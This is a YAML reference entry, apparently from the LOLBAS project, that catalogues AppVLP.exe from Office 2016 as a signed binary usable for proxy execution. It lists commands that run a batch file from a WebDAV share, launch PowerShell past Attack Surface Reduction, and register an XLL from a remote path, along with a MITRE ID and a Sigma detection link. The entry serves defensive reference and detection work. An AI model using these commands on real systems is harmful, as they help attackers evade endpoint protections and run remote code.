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* Adding various tags as a first iteration * Adding quotes * Adding 'Custom Format' properly * Updating to key:value pairs * Update template
45 lines
2.0 KiB
YAML
45 lines
2.0 KiB
YAML
---
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Name: Appvlp.exe
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Description: Application Virtualization Utility Included with Microsoft Office 2016
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Author: 'Oddvar Moe'
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Created: 2018-05-25
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Commands:
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- Command: AppVLP.exe \\webdav\calc.bat
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Usecase: Execution of BAT file hosted on Webdav server.
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Description: Executes calc.bat through AppVLP.exe
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Category: Execute
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Privileges: User
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MitreID: T1218
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OperatingSystem: Windows 10 w/Office 2016
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- Command: AppVLP.exe powershell.exe -c "$e=New-Object -ComObject shell.application;$e.ShellExecute('calc.exe','', '', 'open', 1)"
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Usecase: Local execution of process bypassing Attack Surface Reduction (ASR).
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Description: Executes powershell.exe as a subprocess of AppVLP.exe and run the respective PS command.
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Category: Execute
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Privileges: User
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MitreID: T1218
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OperatingSystem: Windows 10 w/Office 2016
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- Command: AppVLP.exe powershell.exe -c "$e=New-Object -ComObject excel.application;$e.RegisterXLL('\\webdav\xll_poc.xll')"
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Usecase: Local execution of process bypassing Attack Surface Reduction (ASR).
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Description: Executes powershell.exe as a subprocess of AppVLP.exe and run the respective PS command.
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Category: Execute
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Privileges: User
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MitreID: T1218
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OperatingSystem: Windows 10 w/Office 2016
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Full_Path:
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- Path: C:\Program Files\Microsoft Office\root\client\appvlp.exe
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- Path: C:\Program Files (x86)\Microsoft Office\root\client\appvlp.exe
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Detection:
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- Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_appvlp.yml
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Resources:
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- Link: https://github.com/MoooKitty/Code-Execution
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- Link: https://twitter.com/moo_hax/status/892388990686347264
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- Link: https://enigma0x3.net/2018/06/11/the-tale-of-settingcontent-ms-files/
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- Link: https://securityboulevard.com/2018/07/attackers-test-new-document-attack-vector-that-slips-past-office-defenses/
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Acknowledgement:
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- Person: fab
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Handle: '@0rbz_'
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- Person: Will
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Handle: '@moo_hax'
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- Person: Matt Wilson
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Handle: '@enigma0x3'
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